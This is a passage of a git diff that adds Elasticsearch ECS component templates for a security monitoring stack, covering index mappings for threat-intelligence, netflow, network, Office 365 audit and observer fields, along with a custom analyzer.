"security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "personal_motivations": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "primary_motivation": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "resource_level": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "roles": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "secondary_motivations": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sophistication": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "threat_indicator": { + "properties": { + "attack_pattern": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "attack_pattern_kql": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "campaign": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "confidence": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "feed": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "intrusion_set": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "kill_chain_phases": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "labels": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mitre_tactic": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mitre_technique": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "negate": { + "type": "boolean" + }, + "severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "threat_actor": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "valid_from": { + "type": "date" + }, + "valid_until": { + "type": "date" + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "tool": { + "properties": { + "description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "kill_chain_phases": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "labels": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tool_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "vulnerability": { + "properties": { + "description": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/netflow.json b/salt/elasticsearch/templates/component/ecs/netflow.json new file mode 100644 index 000000000..4b52708f3 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/netflow.json @@ -0,0 +1,1745 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "netflow": { + "properties": { + "absolute_error": { + "type": "double" + }, + "address_pool_high_threshold": { + "type": "long" + }, + "address_pool_low_threshold": { + "type": "long" + }, + "address_port_mapping_high_threshold": { + "type": "long" + }, + "address_port_mapping_low_threshold": { + "type": "long" + }, + "address_port_mapping_per_user_high_threshold": { + "type": "long" + }, + "anonymization_flags": { + "type": "long" + }, + "anonymization_technique": { + "type": "long" + }, + "application_category_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_group_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_id": { + "type": "short" + }, + "application_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "application_sub_category_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "bgp_destination_as_number": { + "type": "long" + }, + "bgp_next_adjacent_as_number": { + "type": "long" + }, + "bgp_next_hop_ipv4_address": { + "type": "ip" + }, + "bgp_next_hop_ipv6_address": { + "type": "ip" + }, + "bgp_prev_adjacent_as_number": { + "type": "long" + }, + "bgp_source_as_number": { + "type": "long" + }, + "bgp_validity_state": { + "type": "short" + }, + "biflow_direction": { + "type": "short" + }, + "class_id": { + "type": "long" + }, + "class_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "classification_engine_id": { + "type": "short" + }, + "collection_time_milliseconds": { + "type": "date" + }, + "collector_certificate": { + "type": "short" + }, + "collector_ipv4_address": { + "type": "ip" + }, + "collector_ipv6_address": { + "type": "ip" + }, + "collector_transport_port": { + "type": "long" + }, + "common_properties_id": { + "type": "long" + }, + "confidence_level": { + "type": "double" + }, + "connection_sum_duration_seconds": { + "type": "long" + }, + "connection_transaction_id": { + "type": "long" + }, + "data_link_frame_section": { + "type": "short" + }, + "data_link_frame_size": { + "type": "long" + }, + "data_link_frame_type": { + "type": "long" + }, + "data_records_reliability": { + "type": "boolean" + }, + "delta_flow_count": { + "type": "long" + }, + "destination_ipv4_address": { + "type": "ip" + }, + "destination_ipv4_prefix": { + "type": "ip" + }, + "destination_ipv4_prefix_length": { + "type": "short" + }, + "destination_ipv6_address": { + "type": "ip" + }, + "destination_ipv6_prefix": { + "type": "ip" + }, + "destination_ipv6_prefix_length": { + "type": "short" + }, + "destination_mac_address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destination_transport_port": { + "type": "long" + }, + "digest_hash_value": { + "type": "long" + }, + "distinct_count_of_destination_ip_address": { + "type": "long" + }, + "distinct_count_of_destination_ipv4_address": { + "type": "long" + }, + "distinct_count_of_destination_ipv6_address": { + "type": "long" + }, + "distinct_count_of_source_ip_address": { + "type": "long" + }, + "distinct_count_of_source_ipv4_address": { + "type": "long" + }, + "distinct_count_of_source_ipv6_address": { + "type": "long" + }, + "dot1q_customer_dei": { + "type": "boolean" + }, + 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"tcp_psh_total_count": { + "type": "long" + }, + "tcp_rst_total_count": { + "type": "long" + }, + "tcp_sequence_number": { + "type": "long" + }, + "tcp_source_port": { + "type": "long" + }, + "tcp_syn_total_count": { + "type": "long" + }, + "tcp_urg_total_count": { + "type": "long" + }, + "tcp_urgent_pointer": { + "type": "long" + }, + "tcp_window_scale": { + "type": "long" + }, + "tcp_window_size": { + "type": "long" + }, + "template_id": { + "type": "long" + }, + "total_length_ipv4": { + "type": "long" + }, + "transport_octet_delta_count": { + "type": "long" + }, + "transport_packet_delta_count": { + "type": "long" + }, + "tunnel_technology": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "udp_destination_port": { + "type": "long" + }, + "udp_message_length": { + "type": "long" + }, + "udp_source_port": { + "type": "long" + }, + "upper_ci_limit": { + "type": "double" + }, + "user_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "value_distribution_method": { + "type": "short" + }, + "virtual_station_interface_id": { + "type": "short" + }, + "virtual_station_interface_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "virtual_station_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "virtual_station_uuid": { + "type": "short" + }, + "vlan_id": { + "type": "long" + }, + "vpn_identifier": { + "type": "short" + }, + "vr_fname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "wlan_channel_id": { + "type": "short" + }, + "wlan_ssid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "wtp_mac_address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/network.json b/salt/elasticsearch/templates/component/ecs/network.json new file mode 100644 index 000000000..5a669bd30 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/network.json @@ -0,0 +1,198 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-network.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "network": { + "properties": { + "application": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "bytes": { + "type": "long" + }, + "community_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "direction": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "forwarded_ip": { + "type": "ip" + }, + "iana_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "inner": { + "properties": { + "vlan": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + }, + "type": "object" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "packets": { + "type": "long" + }, + "protocol": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "transport": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vlan": { + "properties": { + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/o365.json b/salt/elasticsearch/templates/component/ecs/o365.json new file mode 100644 index 000000000..3739bcde8 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/o365.json @@ -0,0 +1,1007 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "o365": { + "properties": { + "audit": { + "properties": { + "AADGroupId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ActorContextId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ActorIpAddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ActorUserId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ActorYammerUserId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "AlertEntityId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "AlertId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "AlertType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "AppId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ApplicationDisplayName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ApplicationId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "AzureActiveDirectoryEventType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ClientAppId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ClientIP": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ClientIPAddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ClientInfoString": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Comments": { + "norms": false, + "type": "text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "CommunicationType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "CorrelationId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "CreationTime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "CustomUniqueId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Data": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DataType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "DoNotDistributeEvent": { + "type": "boolean" + }, + "EntityType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ErrorNumber": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "EventData": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "EventSource": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ExceptionInfo": { + "properties": { + "*": { + "type": "object" + } + } + }, + "ExchangeMetaData": { + "properties": { + "*": { + "type": "object" + } + } + }, + "ExtendedProperties": { + "properties": { + "*": { + "type": "object" + } + } + }, + "ExternalAccess": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "FromApp": { + "type": "boolean" + }, + "GroupName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ImplicitShare": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "IncidentId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "InterSystemsId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "InternalLogonType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "IntraSystemId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "IsDocLib": { + "type": "boolean" + }, + "Item": { + "properties": { + "*": { + "properties": { + "*": { + "type": "object" + } + }, + "type": "object" + } + } + }, + "ItemCount": { + "type": "long" + }, + "ItemName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ItemType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ListBaseTemplateType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ListBaseType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ListColor": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ListIcon": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ListId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ListItemUniqueId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ListTitle": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "LogonError": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "LogonType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "LogonUserSid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MailboxGuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MailboxOwnerMasterAccountSid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MailboxOwnerSid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "MailboxOwnerUPN": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Members": { + "properties": { + "*": { + "type": "object" + } + } + }, + "ModifiedProperties": { + "properties": { + "*": { + "properties": { + "*": { + "type": "object" + } + } + } + } + }, + "Name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ObjectId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Operation": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "OrganizationId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "OrganizationName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "OriginatingServer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Parameters": { + "properties": { + "*": { + "type": "object" + } + } + }, + "PolicyId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "RecordType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ResultStatus": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SensitiveInfoDetectionIsIncluded": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SessionId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SharePointMetaData": { + "properties": { + "*": { + "type": "object" + } + } + }, + "Site": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SiteUrl": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Source": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SourceFileExtension": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SourceFileName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SourceRelativeUrl": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "SupportTicketId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TargetContextId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TargetUserOrGroupName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TargetUserOrGroupType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TeamGuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TeamName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "TemplateTypeId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "UniqueSharingId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "UserAgent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "UserId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "UserKey": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "UserType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "WebId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Workload": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "YammerNetworkId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/observer.json b/salt/elasticsearch/templates/component/ecs/observer.json new file mode 100644 index 000000000..4eeb753db --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/observer.json @@ -0,0 +1,466 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-observer.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "observer": { + "properties": { + "egress": { + "properties": { + "interface": { + "properties": { + "alias": { + "ignore_above": 1024, + "type": "keyword", + "fields": { 